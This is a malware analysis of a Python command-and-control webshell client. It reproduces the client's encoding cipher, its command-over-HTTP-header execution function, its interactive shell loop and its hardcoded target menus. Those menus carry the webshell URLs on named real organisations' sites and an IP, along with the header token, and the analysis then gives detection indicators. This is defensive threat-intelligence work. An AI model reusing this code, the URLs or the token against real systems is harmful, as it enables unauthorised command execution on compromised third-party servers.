Python Framework Analysis

Technical analysis of the Python C2 framework including encoding mechanisms, remote execution, and target management

Framework Components

The Python framework consists of three main scripts, each targeting different infrastructure:

• connect.py - Targets uniforms.flydubai.com with custom encoding
• rce5.py - Targets jordandesert.org.jo with custom encoding
• RCE4.py - Targets 193.188.88.156 with plaintext commands

Command Encoding Mechanism

Custom Substitution Cipher

Two of the scripts (connect.py and rce5.py) implement a custom character substitution cipher:

def encode(input_string):
    # Define the original and replacement strings
    en = rf"AB_CDEFG.HIJKLM!$%&*()?NOPQR-STUVWXYZabcdefghijklmnopqrstu=vwxyz0123456789/";
    de = rf"Qk3\afcPbYJTGywSv=0Egdx62X-NRVz!~$%_*()?Uq7os1ijFMuLOetCl98K5hBDn4.prWAHmIZ";
    # Create a translation table
    translation_table = str.maketrans(en, de)
    # Encode the input string using the translation table
    encoded_string = input_string.translate(translation_table)
    return encoded_string

Encoding Analysis

The cipher performs character-by-character substitution:

Original alphabet (en):

AB_CDEFG.HIJKLM!$%&*()?NOPQR-STUVWXYZabcdefghijklmnopqrstu=vwxyz0123456789/

Substitution alphabet (de):

Qk3\afcPbYJTGywSv=0Egdx62X-NRVz!~$%_*()?Uq7os1ijFMuLOetCl98K5hBDn4.prWAHmIZ

Example transformations:

• whoami → (encoded) → specific character sequence
• Commands are obfuscated before transmission
• Server-side ASP script reverses the encoding

This simple substitution cipher provides minimal obfuscation against automated detection but is easily broken through frequency analysis.

Remote Execution Function

All three scripts share a similar remote_exec() function that handles command transmission:

With Encoding (connect.py, rce5.py)

def remote_exec(target, cmd):
    headers["Accept-Language"] = cmd
    try:
        r = requests.get(target,headers=headers)
        if r.status_code == 200:
            data = r.text
        else:
            print(r.text)
            return
    except Exception as e:
        print(e)
        return
    try:
        dataq = data.split('\n')[:-1]
    except:
        print(dataq)
        return
    for x in dataq:
        print(x)

Without Encoding (RCE4.py)

def remote_exec(target, cmd):
    headers["Accept-Language"] = cmd
    try:
        r = requests.get(target,headers=headers,verify=False)
        if r.status_code == 200:
            data = r.text
        else:
            print(r.text)
            return
    except Exception as e:
        print(e)
        return
    try:
        dataq = data.split('\n')[:-1]
    except:
        print(dataq)
        return
    for x in dataq:
        print(x)

Key differences:

• RCE4.py adds verify=False to bypass SSL certificate validation
• Commands in RCE4.py are sent in plaintext (no encoding)
• All scripts use GET requests with custom headers

Interactive Shell Interface

Readline Integration

The scripts implement command-line completion using Python’s readline:

def complete(self, text, state):
    if state == 0:
        if len(text) == 0:
            self.matches = [s for s in self.options.keys()]
        elif len(text) != 0:
            self.matches = [s for s in self.options.keys() if s and s.startswith(text)]
    try:
        return self.matches[state] + " "
    except IndexError:
        return None

readline.set_completer(complete)
readline.parse_and_bind('tab: complete')
readline.set_completer_delims('\n')

This provides tab-completion functionality for the operator.

Command Loop

The main execution loop follows this pattern:

runingshell = True
while runingshell:
    cmd = input("[webshell]> ").strip()
    args = cmd.lower().split(" ")
    if args[0] == "exit":
        runingshell = False
    elif args[0] == "help":
        show_help()
    else:
        cmd = encode(cmd)  # Only in connect.py and rce5.py
        remote_exec(TargetURL, cmd)

Target Selection System

connect.py (flydubai.com)

while True:
    print('select your Target')
    print('1. uniforms.flydubai.com')
    print('0. exit')
    print('--------------------')
    while True:
        userinput = int(input(' ------ > ').strip())
        if userinput == 0:
            print('good bye commonder !')
            exit()
        elif userinput == 1 :
            TargetURL = "https://uniforms.flydubai.com/images/flash/test9/m0s.phto"
            break
        else:
            print('wrong input')

rce5.py (jordandesert.org.jo)

while True:
    print('select your Target')
    print('1. jordandesert.org.jo')
    print('0. exit')
    print('--------------------')
    while True:
        userinput = int(input(' ------ > ').strip())
        if userinput == 0:
            print('good bye commonder !')
            exit()
        elif userinput == 1:
            TargetURL = "http://www.jordandesert.org.jo/CMS/Uploads/m0s.aspx"
            break
        else:
            print('wrong input')

RCE4.py (193.188.88.156)

while True:
    print('select your Target')
    print('1. 193.188.88.156')
    print('0. exit')
    print('--------------------')
    while True:
        userinput = int(input(' ------ > ').strip())
        if userinput == 0:
            print('good bye commonder !')
            exit()
        elif userinput == 1:
            TargetURL = "http://193.188.88.156/images/m0s.php"
            break
        else:
            print('wrong input')

HTTP Header Configuration

All scripts use identical header configuration:

headers = {
"Accept-Captcha":"am=JgAAgP7jP38JwxmUgBgbuF8P_Nmlh2EEBhzhIQOBCEgGdAeWqYD_xNXr3UBFH35AAgACOJqOmhmdA2KVQwAEsGJYhhEAAAAAAAAAAA",
"Accept-Language" : "whoami",
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}

Analysis:

• Accept-Captcha: Static token, possibly used for authentication or session tracking
• Accept-Language: Dynamically updated with commands (encoded or plaintext)
• User-Agent: Mimics Chrome 120 on Linux to blend with legitimate traffic

Security Implications

Strengths

1. Custom encoding reduces signature-based detection
2. HTTP header tunneling evades basic inspection
3. Interactive interface provides operator flexibility
4. Target management allows multi-target operations

Weaknesses

1. Hardcoded targets reveal compromised infrastructure
2. Static Accept-Captcha token serves as unique IOC
3. Simple substitution cipher easily reversed
4. No authentication on webshell side (any request with correct header works)
5. Plaintext storage of target URLs and encoding logic

Detection Strategies

Network Detection

Alert on HTTP requests containing:
- Accept-Captcha header with value starting with "am=JgAAgP7jP38J"
- Unusual Accept-Language header values (non-language codes)
- GET requests to image directories returning command output

Behavioral Detection

• Repeated GET requests to static resources (images/flash/ directories)
• Responses from image files containing command-line output patterns
• HTTP 200 responses from .phto, .aspx, .php files in image directories

Related Analysis

• Webshell Framework Overview - Framework architecture
• ASP Webshell Analysis - Server-side components